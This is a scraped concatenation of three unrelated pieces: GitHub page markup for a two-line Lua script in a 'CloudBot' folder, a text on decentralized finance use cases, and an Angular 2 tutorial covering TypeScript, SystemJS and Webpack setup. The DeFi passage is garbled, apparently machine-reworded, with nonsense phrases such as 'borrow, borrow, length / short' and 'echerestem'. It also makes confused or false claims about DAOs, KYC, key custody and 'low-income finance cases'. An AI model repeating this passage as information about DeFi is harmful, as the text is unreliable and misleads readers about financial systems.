Desktop." aria-label="Save Cloudhax23/GoS to your computer and use it in GitHub Desktop."> <span class="octicon octicon-desktop-download"></span> Clone in Desktop </a> <a href="/Cloudhax23/GoS/archive/master.zip" class="btn btn-sm sidebar-button" aria-label="Download the contents of Cloudhax23/GoS as a zip file" title="Download the contents of Cloudhax23/GoS as a zip file" rel="nofollow"> <span class="octicon octicon-cloud-download"></span> Download ZIP </a> </div> </div> <div id="js-repo-pjax-container" class="repository-content context-loader-container" data-pjax-container> <a href="/Cloudhax23/GoS/blob/e8c7bbb996f8182e6c0bac8f772a47604de1a3e4/Common/CloudBot/testscript3.lua" class="hidden js-permalink-shortcut" data-hotkey="y">Permalink</a> <!-- blob contrib key: blob_contributors:v21:29a88b9ffcb6d20c6b4fc8b9594477df --> <div class="file-navigation js-zeroclipboard-container"> <div class="select-menu js-menu-container js-select-menu left"> <span class="btn btn-sm select-menu-button js-menu-target css-truncate" data-hotkey="w" data-ref="master" title="master" role="button" aria-label="Switch branches or tags" tabindex="0" aria-haspopup="true"> <i>Branch:</i> <span class="js-select-button css-truncate-target">master</span> </span> <div class="select-menu-modal-holder js-menu-content js-navigation-container" data-pjax aria-hidden="true"> <div class="select-menu-modal"> <div class="select-menu-header"> <span class="select-menu-title">Switch branches/tags</span> <span class="octicon octicon-x js-menu-close" role="button" aria-label="Close"></span> </div> <div class="select-menu-filters"> <div class="select-menu-text-filter"> <input type="text" aria-label="Filter branches/tags" id="context-commitish-filter-field" class="js-filterable-field js-navigation-enable" placeholder="Filter branches/tags"> </div> <div class="select-menu-tabs"> <ul> <li class="select-menu-tab"> <a href="#" data-tab-filter="branches" data-filter-placeholder="Filter branches/tags" class="js-select-menu-tab" role="tab">Branches</a> </li> <li class="select-menu-tab"> <a href="#" data-tab-filter="tags" data-filter-placeholder="Find a tag…" class="js-select-menu-tab" role="tab">Tags</a> </li> </ul> </div> </div> <div class="select-menu-list select-menu-tab-bucket js-select-menu-tab-bucket" data-tab-filter="branches" role="menu"> <div data-filterable-for="context-commitish-filter-field" data-filterable-type="substring"> <a class="select-menu-item js-navigation-item js-navigation-open selected" href="/Cloudhax23/GoS/blob/master/Common/CloudBot/testscript3.lua" data-name="master" data-skip-pjax="true" rel="nofollow"> <span class="select-menu-item-icon octicon octicon-check"></span> <span class="select-menu-item-text css-truncate-target" title="master"> master </span> </a> </div> <div class="select-menu-no-results">Nothing to show</div> </div> <div class="select-menu-list select-menu-tab-bucket js-select-menu-tab-bucket" data-tab-filter="tags"> <div data-filterable-for="context-commitish-filter-field" data-filterable-type="substring"> </div> <div class="select-menu-no-results">Nothing to show</div> </div> </div> </div> </div> <div class="btn-group right"> <a href="/Cloudhax23/GoS/find/master" class="js-show-file-finder btn btn-sm empty-icon tooltipped tooltipped-nw" data-pjax data-hotkey="t" aria-label="Quickly jump between files"> <span class="octicon octicon-list-unordered"></span> </a> <button aria-label="Copy file path to clipboard" class="js-zeroclipboard btn btn-sm zeroclipboard-button tooltipped tooltipped-s" data-copied-hint="Copied!" type="button"><span class="octicon octicon-clippy"></span></button> </div> <div class="breadcrumb js-zeroclipboard-target"> <span class="repo-root js-repo-root"><span itemscope="" itemtype="http://data-vocabulary.org/Breadcrumb"><a href="/Cloudhax23/GoS" class="" data-branch="master" data-pjax="true" itemscope="url"><span itemprop="title">GoS</span></a></span></span><span class="separator">/</span><span itemscope="" itemtype="http://data-vocabulary.org/Breadcrumb"><a href="/Cloudhax23/GoS/tree/master/Common" class="" data-branch="master" data-pjax="true" itemscope="url"><span itemprop="title">Common</span></a></span><span class="separator">/</span><span itemscope="" itemtype="http://data-vocabulary.org/Breadcrumb"><a href="/Cloudhax23/GoS/tree/master/Common/CloudBot" class="" data-branch="master" data-pjax="true" itemscope="url"><span itemprop="title">CloudBot</span></a></span><span class="separator">/</span><strong class="final-path">testscript3.lua</strong> </div> </div> <div class="commit file-history-tease"> <div class="file-history-tease-header"> <img alt="@Cloudhax23" class="avatar" height="24" src="https://avatars0.githubusercontent.com/u/13112382?v=3&s=48" width="24" /> <span class="author"><a href="/Cloudhax23" rel="author">Cloudhax23</a></span> <time datetime="2015-08-31T00:22:50Z" is="relative-time">Aug 30, 2015</time> <div class="commit-title"> <a href="/Cloudhax23/GoS/commit/a5bcfef671c590c8f674d62e7caee7a0e1c155e6" class="message" data-pjax="true" title="Create testscript3.lua">Create testscript3.lua</a> </div> </div> <div class="participation"> <p class="quickstat"> <a href="#blob_contributors_box" rel="facebox"> <strong>1</strong> contributor </a> </p> </div> <div id="blob_contributors_box" style="display:none"> <h2 class="facebox-header" id="facebox-header">Users who have contributed to this file</h2> <ul class="facebox-user-list" id="facebox-description"> <li class="facebox-user-list-item"> <img alt="@Cloudhax23" height="24" src="https://avatars0.githubusercontent.com/u/13112382?v=3&s=48" width="24" /> <a href="/Cloudhax23">Cloudhax23</a> </li> </ul> </div> </div> <div class="file"> <div class="file-header"> <div class="file-actions"> <div class="btn-group"> <a href="/Cloudhax23/GoS/raw/master/Common/CloudBot/testscript3.lua" class="btn btn-sm " id="raw-url">Raw</a> <a href="/Cloudhax23/GoS/blame/master/Common/CloudBot/testscript3.lua" class="btn btn-sm js-update-url-with-hash">Blame</a> <a href="/Cloudhax23/GoS/commits/master/Common/CloudBot/testscript3.lua" class="btn btn-sm " rel="nofollow">History</a> </div> <a class="octicon-btn tooltipped tooltipped-nw" href="https://windows.github.com" aria-label="Open this file in GitHub Desktop" data-ga-click="Repository, open with desktop, type:windows"> <span class="octicon octicon-device-desktop"></span> </a> <button type="button" class="octicon-btn disabled tooltipped tooltipped-n" aria-label="You must be signed in to make or propose changes"> <span class="octicon octicon-pencil"></span> </button> <button type="button" class="octicon-btn octicon-btn-danger disabled tooltipped tooltipped-n" aria-label="You must be signed in to make or propose changes"> <span class="octicon octicon-trashcan"></span> </button> </div> <div class="file-info"> 3 lines (2 sloc) <span class="file-info-divider"></span> 0.069 kB </div> </div> <div class="blob-wrapper data type-lua"> <table class="highlight tab-size js-file-line-container" data-tab-size="8"> <tr> <td id="L1" class="blob-num js-line-number" data-line-number="1"></td> <td id="LC1" class="blob-code blob-code-inner js-file-line"><span class="pl-c1">require</span>(<span class="pl-s"><span class="pl-pds">'</span>CloudBot<span class="pl-pds">'</span></span>)</td> </tr> <tr> <td id="L2" class="blob-num js-line-number" data-line-number="2"></td> <td id="LC2" class="blob-code blob-code-inner js-file-line"><span class="pl-c">-- Make sure you require jinx in testscript1.lua</span></td> </tr> </table> </div> </div> <a href="#jump-to-line" rel="facebox[.linejump]" data-hotkey="l" style="display:none">Jump to Line</a> <div id="jump-to-line" style="display:none"> <!-- </textarea> --><!-- '"` --><form accept-charset="UTF-8" action="" class="js-jump-to-line-form" method="get"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="✓" /></div> <input class="linejump-input js-jump-to-line-field" type="text" placeholder="Jump to line…" aria-label="Jump to line" autofocus> <button type="submit" class="btn">Go</button> </form></div> </div> </div> <div class="modal-backdrop"></div> </div> </div> <div class="container"> <div class="site-footer" role="contentinfo"> <ul class="site-footer-links right"> <li><a href="https://status.github.com/" data-ga-click="Footer, go to status, text:status">Status</a></li> <li><a href="https://developer.github.com" data-ga-click="Footer, go to api, text:api">API</a></li> <li><a href="https://training.github.com" data-ga-click="Footer, go to training, text:training">Training</a></li> <li><a href="https://shop.github.com" data-ga-click="Footer, go to shop, text:shop">Shop</a></li> <li><a href="https://github.com/blog" data-ga-click="Footer, go to blog, text:blog">Blog</a></li> <li><a href="https://github.com/about" data-ga-click="Footer, go to about, text:about">About</a></li> <li><a href="https://github.com/pricing" data-ga-click="Footer, go to pricing, text:pricing">Pricing</a></li> </ul> <a href="https://github.com" aria-label="Homepage"> <span class="mega-octicon octicon-mark-github" title="GitHub"></span> </a> <ul class="site-footer-links"> <li>© 2015 <span title="0.05525s from github-fe134-cp1-prd.iad.github.net">GitHub</span>, Inc.</li> <li><a href="https://github.com/site/terms" data-ga-click="Footer, go to terms, text:terms">Terms</a></li> <li><a href="https://github.com/site/privacy" data-ga-click="Footer, go to privacy, text:privacy">Privacy</a></li> <li><a href="https://github.com/security" data-ga-click="Footer, go to security, text:security">Security</a></li> <li><a href="https://github.com/contact" data-ga-click="Footer, go to contact, text:contact">Contact</a></li> <li><a href="https://help.github.com" data-ga-click="Footer, go to help, text:help">Help</a></li> </ul> </div> </div> <div id="ajax-error-message" class="flash flash-error"> <span class="octicon octicon-alert"></span> <button type="button" class="flash-close js-flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <span class="octicon octicon-x"></span> </button> Something went wrong with that request. Please try again. </div> <script crossorigin="anonymous" src="https://assets-cdn.github.com/assets/frameworks-06e65f5639cc52d1aaada53115a54614b60fa90ab446a673e3e1818df167663b.js"></script> <script async="async" crossorigin="anonymous" src="https://assets-cdn.github.com/assets/github-ee4ac88329bd04835855a912ad24ec8d4d05dd40c4a271721d3c67827d1e0f75.js"></script> <div class="js-stale-session-flash stale-session-flash flash flash-warn flash-banner hidden"> <span class="octicon octicon-alert"></span> <span class="signed-in-tab-flash">You signed in with another tab or window. <a href="">Reload</a> to refresh your session.</span> <span class="signed-out-tab-flash">You signed out in another tab or window. <a href="">Reload</a> to refresh your session.</span> </div> </body> </html>
AyushmanTyagi / Decentralized Finance It S Use CasesDecentralized Finance & It's use cases- DeFi (Decentralized Finance) Another open-world approach to the current financial system. Products that allow you to borrow, save, invest, trade, and more. Based on open source technology anyone can plan with. DeFi is an open and global financial system that has been built for years - another way of being a sharp, tightly managed, and cohesive system of decades-old infrastructure and processes. It gives you more control and visibility than your money. It gives you exposure to global markets and other options for your local currency or banking options. DeFi products open financial services to anyone with an internet connection and are highly managed and maintained by their users. To date, tens of billions of dollars worth of crypto have gone through DeFi applications and is growing every day. What is DeFi? DeFi is an integrated name for financial products and services accessible to anyone who can use Ethereum - anyone with an Internet connection. With DeFi, markets remain open and no central authorities can block payments or deny you access to anything. Services that used to be slow and vulnerable to human error are now automated and secure as they are governed by a code that anyone can check and evaluate. There is a thriving crypto-economy out there, where you can borrow, borrow, length / short, earn interest, and more. Crypto-savvy Argentinians have used DeFi to escape inflation. Companies have begun distributing their pay to their employees in real-time. Some people even withdraw and repay loans worth millions of dollars without the need for personal information. DeFi vs Traditional Finance One of the best ways to see the power of DeFi is to understand the problems that exist today. Some people are not given access to setting up a bank account or using financial services. Lack of access to financial services can prevent people from being employed. Financial services can prevent you from paying. Hidden payment for financial services is your data. Governments and private institutions can close markets at will. Trading hours are usually limited to one-hour business hours. Transfers may take days due to personal processes. There is a premium for financial services because mediation institutions require their cutting. DeFi Use Cases DeFi has revolutionized the financial world over the past few years. This new approach to financial planning can transcend asset systems through efficiency and security. It is true that there are certain dangers in DeFi but those are within the concrete limits. Let's take a look at the most effective DeFi usage cases - Asset Management One of DeFi's biggest effects is that users can now enjoy more control over their assets. Many DeFi projects provide solutions that allow users to manage their assets, including - buying, selling, and transferring digital assets. Therefore, users can also earn interest on their digital assets. Contrary to the traditional financial system, DeFi allows users to maintain the privacy of their sensitive information. Think of the secret keys or passwords of your financial accounts - you should have shared that information with the appropriate organizations beforehand. Now, different DeFi projects, such as Metamask, Argent, or Gnosis Safe help users encrypt and store those pieces of information on their devices. This ensures that only users have access to their accounts and can manage their assets. Therefore, asset management is one of the most widely used financial services cases for users. Compliance with AML and CFT Rates through the KYT Mechanism Traditional financial systems focus heavily on Know-Your-Customer (KYC) agreements. KYC Guidelines are its major law enforcement tool for using Anti-Money Laundering (AML) and Countering-the-Financing-of-Terrorism (CFT) standards. However, KYC guidelines often conflict with DeFi's privacy efforts. DeFi responds to this problem with a new concept called the Know-Your-Transaction (KYT) mechanism. This approach suggests that low-level infrastructure will focus on ethical behavior for digital addresses rather than user considerations. Therefore, KYT solves two issues simultaneously - monitoring real-time operations and ensuring user privacy. This makes KYT one of the biggest gaps in low-cost cases. Non-Governmental Organizations or DAOs The DAOs are partners of the central financial institutions of DeFi - making it one of the pillars of low-income finance cases. In the traditional system, central financial institutions play a major role. These organizations operate as administrative institutions that regulate basic financial operations, such as monetization, asset management, administrative utilization, etc. The Ethereum blockchain echerestem has introduced empowered organizations to achieve the same goals. However, DAOs are naturally empowered and do not conform to the limits set by central governments or authorities. Analysis and Risk Tools Transparency and redistribution of world power have opened the way for the discovery and analysis of unprecedented user data. With access to this information, users can make informed business decisions, discover new financial opportunities, and implement better risk management strategies. A new type of data analytics with useful blockchain tools and dashboards has emerged in this industry trend. DeFi projects such as DeFi Pulse or CoDeFi Data bring an impressive amount of analytics and risk management tool. Now, businesses are moving faster as they enjoy unpredictable competitive advantages. This is certainly one of the most widely used financial cases. Receivables and Manufacturing Goods Smart contracts allow for the receipt of token receipts and have become one of the most distinctive scenarios for DeFi use. Making a token further means setting a contract value based on the underlying financial asset or set of assets. This underlying financial asset acts as a security measure, which means it can include - bonds, fiat currencies, commodities, market indicators, interest rates, or stock prices. Now, the issuance of outgoing tokens is a secondary security and their value varies with the number of key securities (bonds or fiat money). Thus, the output actually creates artificial goods. Synthetix and dYdX are some of the leading DeFi projects focused on token acquisitions. Network Infrastructure Effect In a DeFi ecosystem, objects within the system can connect and interact. This design feature is known as integration and serves as a protocol for infrastructure development. As a result, DeFi projects are continuously integrated with the network result. Infrastructure tools for use of DeFi applications are remarkable. Various DeFi projects, such as TruffleSuite or InfuraAPI, are good examples in this case. Enhanced Digital ID Blockchain-based identity system systems are already gaining a lot of attention in recent times. Pairing DeFi programs with these patent systems can help people access the global economic system. The traditional method rewards personal income or assets collected as credit providers. With digital identity paired with DeFi, you may be looking for other practical attributes, such as - financial services or professional ability. This new type of digital ID can help the poor to access DeFi apps from any internet connection. It can certainly be one of the cases of possible use. Insurance Insurance is one of the largest financial institutions and has already been proven to be one of the biggest charges for using DeFi. The current insurance system is crowded with paperwork, old audit plans, and bureaucratic insurance claim processes. With the successful implementation of smart contracts, all these problems with the current system can be solved. Many DeFi projects (Nexus Mutual, Opyn, and VouchForMe) provide blockchain access to insurance against DeFi or contract risk. P2P borrowing and borrowing As DeFi bids farewell to traditional banking systems, a space for the lending and lending market has emerged. Therefore, borrowing and lending is one of the most important aspects of using DeFi. However, the DeFi ecosystem is well suited for peer-to-peer (P2P) borrowing and lending efforts. Many DeFi projects have already entered the market focusing on this particular application case. Among these programs, Compound and PoolTogether are two well-known names. These projects have independent policies for lending and lending. Payment Solutions One of DeFi's top drivers was serving non-bankers or understated banks from the get-go. DeFi's natural features make it ideal for solving the problems of current global payment systems. DeFi provides fast, secure, and transparent solutions compared to asset systems. As DeFi lowers the demand for intermediaries, making payments easier and more transparent, DeFi-based blockchain-based payment solutions can appeal to non-bankers.
krishnakumarsingh / Angularjs2startSetting Up an Angular 2 Environment Using Typescript, Npm and Webpack PreviousNext This Angular 2 tutorial serves for anyone looking to get up and running with Angular 2 and TypeScript fast. Angular 2 Beta Udemy Last week I’ve read the great Angular 2 book from Ninja Squad. Therefore, I figured it was time to put pen to paper and start building Angular 2 applications using TypeScript. That’s why in this tutorial, we’ll learn how to start an Angular 2 project from scratch and go further by building a development environment with Webpack and more. Getting Started 1. Developing and Building a TypeScript App Let’s start by building our first Angular 2 application using Typescript. First, make sure you have Node.js and npm installed. You can refer to the official website for more information about the installation procedure. Then, install Typescript globally via npm by running the following command in your terminal : 1 2 3 npm install -g typescript Once it is installed, we’ll setup our Typescript project by creating a tsconfig.json file in which we specify the compilation options to use for compiling our project. The typescript NPM module we just installed comes with a compiler, named tsc, that we are going to use for initializing a fresh Typescript project : 1 2 3 4 5 6 7 # Create a new project folder and go inside it mkdir angular2-starter && cd angular2-starter # Generate the Typescript configurations file tsc --init --target es5 --sourceMap --experimentalDecorators --emitDecoratorMetadata Running tsc --init create the tsconfig.json in our project directory, which looks like this : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 { "compilerOptions": { "target": "es5", "sourceMap": true, "experimentalDecorators": true, "emitDecoratorMetadata": true, "module": "commonjs", "noImplicitAny": false, "outDir": "built" }, "exclude": [ "node_modules" ] } Along with the --init parameter, we passed the following options to the compiler : --target es5 : specify that we want our code to transpile to ECMASCRIPT 5. Thus, it could be run in every browser. --sourceMap : generate source maps files. It helps when debugging ES5 code with the original Typescript code in the chrome devtools. --experimentalDecorators and --emitDecoratorMetadata : allow to use Typescript with decorators. Also notice that options such as module, outDir or rootDir have been added by default. Feel free to read the documentation for more compiler options. So hit npm init in your terminal, and fill in some answers (you can accept the default for all the prompts). Then, install angular2 by running the following command : 1 2 3 npm install --save angular2 You should now have a package.json file that looks like the following: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 { "name": "angular-starter", "version": "1.0.0", "description": "An Angular 2 Starter kit featuring Angular 2, TypeScript, and Webpack by EloquentWebApp", "main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1" }, "author": "Grégory D'Angelo", "license": "ISC", "dependencies": { "angular2": "^2.0.0-beta.17", "es6-shim": "^0.35.1", "reflect-metadata": "^0.1.2", "rxjs": "^5.0.0-beta.6", "zone.js": "^0.6.17" } } As you can see, angular2 comes with the following dependencies : reflect-metadata : used to enable dependency injection through decorators es6-shim and es6-promise : librairies for ES6 compatabilities and support for ES6 Promise rxjs : a set of librairies for reactive programming zone.js : used to implement zones for Javascript, inspired from Dart. Angular 2 uses it to efficiently detect changes The fundamentals settings are now in place. Let’s create our first Angular 2 application. 2. Creating our First Component The first step is to create a Typescript file at the root folder, and name it app.component.ts. Our application itself will be a component. To do so, we’ll use the @Component decorator by importing it from ‘angular2/core‘. That’s all we need to create our Angular 2 component. 1 2 3 4 5 6 import { Component } from 'angular2/core'; @Component() export class AppComponent { } By prefixing the class by this decorator, it tells Angular that this class is an Angular component. In Angular 2, components are a fundamental concept. It is the way we define views and control the logic on the page. Here’s how to do it : 1 2 3 4 5 6 7 8 9 import { Component } from 'angular2/core'; @Component({ selector: 'app', template: '<h1>Hello, Angular2</h1>' }) export class AppComponent { } We passed in a configuration object to the component decorator. This object has two properties : selector and template. The selector is the HTML element that Angular will looking for. Every times it founds one, Angular will instantiate a new instance of our AppComponent class, and place our template. As you may also notice we export our class at the end. This is our first class so we’ll keep it empty for simplicity. 3. Bootstrapping the App Finally, we need to launch our application. For this, we only need two things : the Angular’s browser bootstrap method, and the application root component that we just wrote. To separate the concerns, create a new file, bootstrap.ts, and import the dependencies : 1 2 3 4 5 6 7 8 9 ///<reference path="node_modules/angular2/typings/browser.d.ts" /> import { bootstrap } from 'angular2/platform/browser'; import { AppComponent } from './app.component'; bootstrap(AppComponent) .catch(err => console.log(err)); As you can see, we call the bootstrap method, passing in our component, AppComponent. Moreover, as stated in the CHANGELOG since 2.0.0-beta.6 (2016-02-11) we may need to add the <reference ... /> line at the top of our bootstrap.ts file when using --target=es5. Feel free to check the CHANGELOG for more details. Last but not least, we need to create an index.html file to host our Angular application. Start by pasting the following lines : 1 2 3 4 5 6 7 8 9 10 11 12 <!DOCTYPE html> <html> <head></head> <body> <app>Loading...</app> </body> </html> For now, it’s a very basic HTML file in which we’ve put the selector <app> that corresponds to our application root component. But we need to add 2 more things in order to launch our application. Indeed, we need to rely on a tool to load application and library modules. For now, we’ll use SystemJS as the module loader. We’ll see later in this tutorial how to install and configure Webpack for our Angular 2 project. And finally, we need to include script dependencies in our HTML file. Let’s do it together step by step. First, start by installing SystemJS : 1 2 3 npm install --save systemjs Then, load it statically in the index.html just after angular2-polyfills. angular2-polyfills is essentially a mashup of zone.js and reflect-metadata. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <!DOCTYPE html> <html> <head> <script src="node_modules/angular2/bundles/angular2-polyfills.js"></script> <script src="node_modules/systemjs/dist/system.js"></script> </head> <body> <app>Loading...</app> </body> </html> Finally, we need to tell SystemJS where is our bootstrap module and where to find the dependencies used in our application (angular2 and rxjs) : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <!DOCTYPE html> <html> <head> <script src="node_modules/angular2/bundles/angular2-polyfills.js"></script> <script src="node_modules/systemjs/dist/system.js"></script> <script> System.config({ // we want to import modules without writing .js at the end defaultJSExtensions: true, // the app will need the following dependencies map: { 'angular2': 'node_modules/angular2', 'rxjs': 'node_modules/rxjs' } }); // and to finish, let's boot the app! System.import('built/bootstrap'); </script> </head> <body> <app>Loading...</app> </body> </html> OK! We’re done with the settings and we can now compile and run our application. In order to handle common tasks, include the following npm scripts in the package.json file : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 { "name": "angular-starter", "version": "1.0.0", "description": "An Angular 2 Starter kit featuring Angular 2, TypeScript, and Webpack by EloquentWebApp", "main": "index.js", "scripts": { "start": "concurrently \"npm run watch\" \"npm run serve\"", "watch": "tsc -w", "serve": "lite-server" }, "author": "Grégory D'Angelo", "license": "ISC", "dependencies": { "angular2": "^2.0.0-beta.11", "es6-promise": "^3.1.2", "es6-shim": "^0.35.0", "reflect-metadata": "^0.1.2", "rxjs": "^5.0.0-beta.2", "systemjs": "^0.19.24", "zone.js": "^0.6.5" }, "devDependencies": { "concurrently": "^2.2.0", "lite-server": "^2.2.2" } } The watch script runs the TypeScript compiler in watch mode. It watches TypeScript files and triggers recompilation on changes. The serve script runs an HTTP server to serve our application, and refresh the browser on changes. I’ve used lite-server for that purpose. Install it via npm : 1 2 3 npm install --save-dev lite-server And, the start run the previous 2 scripts concurrently using the concurrently npm package : 1 2 3 npm install --save-dev concurrently So, run npm start and open your browser to http://localhost:3000. You should now briefly see “Loading…”, and then “Hello, Angular2” should appear. Congratulations! We’ve have just finished the first part of this tutorial. Keep going to see how to set a build system using Webpack for working with TypeScript. Creating a useful project structure and toolchain 1. Project Structure As far, we’ve built a basic Angular 2 application with the minimum required dependencies and tools. In this section, we’ll refactor our project structure to ease the development of more complex Angular 2 applications. By the end of this section, you will be able to build your own starter kit to get up and running with Angular 2 and TypeScript fast. More importantly, you will understand how to structure your project and what each tool is responsible for. Sounds great, isn’t it? Let’s do it! The first step is to revamp the file structure of our project. Here’s how it will look : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 angular2-starter/ ├──src/ | ├──bootstrap.ts | ├──index.html | ├──polyfills.ts │ │ │ ├──app/ │ │ ├──app.component.ts │ │ └──app.html │ │ │ └──assets/ │ └──css/ │ └──styles.css │ ├──tsconfig.json ├──typings.json ├──package.json │ └──webpack.config.js There are some new files, but don’t worry we will dive into each one of them through this section. What’s important for now, it’s to understand that we’ll use the component approach in our application project. This is a great way to ensure maintainable code by encapsulation of our behavior logic. Hence, each component will live in a single folder with each concern as a file: style, template, specs, e2e, and component class. Before going further let’s reorganize our files as follow : 1 2 3 4 5 6 7 8 9 10 11 12 angular2-starter/ ├──src/ | ├──bootstrap.ts | ├──index.html │ │ │ └──app/ │ └──app.component.ts │ ├──tsconfig.json └──package.json You should also update the path in bootstrap.ts : 1 2 3 4 5 6 7 8 9 ///<reference path="../node_modules/angular2/typings/browser.d.ts" /> import { bootstrap } from 'angular2/platform/browser'; import { AppComponent } from './app/app.component'; bootstrap(AppComponent) .catch(err => console.log(err)); Great! Now it’s time to dive in into Webpack. 2. Installing and Configuring Webpack Webpack will replace SystemJS that we have used until now, as a module loader. If you need an explanation on what is Webpack for, I highly recommand you to take a look at the official documentation. In short, webpack is a module bundler. “It takes modules with dependencies and generates static assets representing those modules“. Start with installing webpack, webpack-dev-server, and the webpack plugins locally, and save them as project dependencies : 1 2 3 4 5 6 7 8 9 10 # First, remove SystemJS. We don't need it anymore. npm uninstall --save systemjs # Then, install Typescript locally npm install --save typescript # Finally, install webpack npm install --save-dev webpack webpack-dev-server html-webpack-plugin copy-webpack-plugin Now, let’s configure Webpack for our development workflow. For this purpose we’ll create a webpack.config.js. Add the following settings in your config file : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 var path = require('path'); var webpack = require('webpack'); var CopyWebpackPlugin = require('copy-webpack-plugin'); var HtmlWebpackPlugin = require('html-webpack-plugin'); var ENV = process.env.ENV = 'development'; var HOST = process.env.HOST || 'localhost'; var PORT = process.env.PORT || 8080; var metadata = { host: HOST, port: PORT, ENV: ENV }; /* * config */ module.exports = { // static data for index.html metadata: metadata, // Emit SourceMap to enhance debugging devtool: 'source-map', devServer: { // This is required for webpack-dev-server. The path should // be an absolute path to your build destination. outputPath: path.join(__dirname, 'dist') }, // Switch loaders to debug mode debug: true, // Our angular app entry: { 'polyfills': path.resolve(__dirname, "src/polyfills.ts"), 'app': path.resolve(__dirname, "src/bootstrap.ts") }, // Config for our build file output: { path: path.resolve(__dirname, "dist"), filename: '[name].bundle.js', sourcemapFilename: '[name].map' }, resolve: { // Add `.ts` and `.tsx` as a resolvable extension. extensions: ['', '.ts', '.tsx', '.js'] }, module: { loaders: [ // Support for .ts files { test: /\.tsx?$/, loader: 'ts-loader', include: [ path.resolve(__dirname, "./src") ] }, // Support for .html as raw text { test: /\.html$/, loader: 'raw-loader', exclude: [ path.resolve(__dirname, "src/index.html") ] } ] }, plugins: [ // Copy static assets to the build folder new CopyWebpackPlugin([{ from: 'src/assets', to: 'assets' }]), // Generate the index.html new HtmlWebpackPlugin({ template: 'src/index.html' }) ] } The entry specifies the entry files of our Angular application. It will be use by Webpack as the starting point for the bundling process. As you may notice we specify our bootstrap file, but also a new file named polyfills.ts. It will contain all the dependencies needed to run our Angular2 application. Before that, we’ve put those deps directly inside our index.html. They now live in a separate file : 1 2 3 4 5 // polyfills.ts import 'angular2/bundles/angular2-polyfills'; import 'rxjs'; The output tells Webpack what to do after completing the bundling process. In our case, the dist/ directory will be use to output the bundled files named app.bundle.js and polyfills.bundle.js with th following source-map files. The ts-loader is used to transpile our Typescript files that match the defined test regex. In our case it will process all files with a .ts or .tsx extension. The raw-loader is used to support html files as raw text. Hence, we could write our component views in separate files and include them afterward in our components. You need to install them using npm : 1 2 3 npm install --save-dev ts-loader raw-loader The CopyWebpackPlugin is used to copy the static assets into the build folder. Finally, the metadata are used by the HtmlWebpackplugin to generate our index.html file. In the index.html, we use the host and port data to run the webpack dev server in development environment. See how this file has been simplified : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <!DOCTYPE html> <html> <head> <link rel="stylesheet" href="./assets/css/styles.css" /> </head> <body> <app>Loading...</app> </body> <% if (webpackConfig.metadata.ENV === 'development') { %> <!-- Webpack Dev Server --> <script src="http://<%= webpackConfig.metadata.host %>:<%= webpackConfig.metadata.port %>/webpack-dev-server.js"></script> <% } %> </html> Feel free to add you own stylesheets files under /src/assets/css as I did with my styles.css file. You should now have a project structured like so : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 angular2-starter/ ├──src/ | ├──bootstrap.ts | ├──index.html | ├──polyfills.ts │ │ │ ├──app/ │ │ └──app.component.ts │ │ │ └──assets/ │ └──css/ │ └──styles.css │ ├──tsconfig.json ├──package.json │ └──webpack.config.js We need one more thing to be all set up. As mentionned before, we will write the views in separated file. So, create an app.html file and refer to it in your app.components.ts. 1 2 3 4 <!-- app.html --> <h1>Hello, Angular2</h1> 1 2 3 4 5 6 7 8 9 10 // app.component.ts import { Component } from 'angular2/core'; @Component({ selector: 'app', template: require('./app.html') }) export class AppComponent { } Finally, we have to install the node typings definition to be able to require file inside our component as we did for the view. Hence, to do so run the following commands, and complete the tsconfig.json to exclude some files : 1 2 3 4 5 6 7 8 9 10 # Install Typings CLI utility npm install typings --global # Init the typings.json typings init # Install typings typings install env~node --global --save As you can notice in my tsconfig.json file below, there are some extra options that are Atom IDE specific features. Feel free to read the documentation about it: atom-typescript/tsconfig.json. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 { "compilerOptions": { "target": "es5", "sourceMap": true, "experimentalDecorators": true, "emitDecoratorMetadata": true, "module": "commonjs", "noImplicitAny": false, "outDir": "built", "rootDir": "." }, "exclude": [ "node_modules", "typings/main.d.ts", "typings/main" ], "filesGlob": [ "./src/**/*.ts", "!./node_modules/**/*.ts", "typings/browser.d.ts" ], "compileOnSave": false, "buildOnSave": false } If you want to know more about typings read the following pages on Github : Microsoft/TypeScript and typings/typings. Ok! Now it’s time to build and run our application using Webpack. Let’s create some npm scripts to handle those operations. 3. Using npm as a Task Runner We will simply use npm to define and run our tasks : one for the build process, and one for running the development server. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 { "name": "angular2-starter", "version": "1.0.0", "description": "", "main": "index.js", "scripts": { "build:dev": "webpack --progress --colors", "server:dev": "webpack-dev-server --hot --progress --colors --content-base dist/", "start": "npm run server:dev" }, ... } We can now run npm start and visit http://localhost:8080 to see our app running.
